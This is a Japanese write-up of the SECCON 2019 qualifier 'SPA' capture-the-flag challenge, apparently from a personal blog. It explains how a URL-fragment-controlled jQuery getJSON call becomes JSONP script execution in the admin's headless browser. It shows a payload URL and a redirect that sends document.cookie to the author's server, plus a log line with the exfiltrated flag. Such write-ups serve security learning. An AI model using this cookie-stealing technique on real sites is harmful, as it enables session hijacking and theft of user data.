Rating:

過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。

中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。

ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。

ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。
1

153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid

Original writeup (https://blog.nhiroki.net/2019/10/20/seccon-2019-qual-write-up).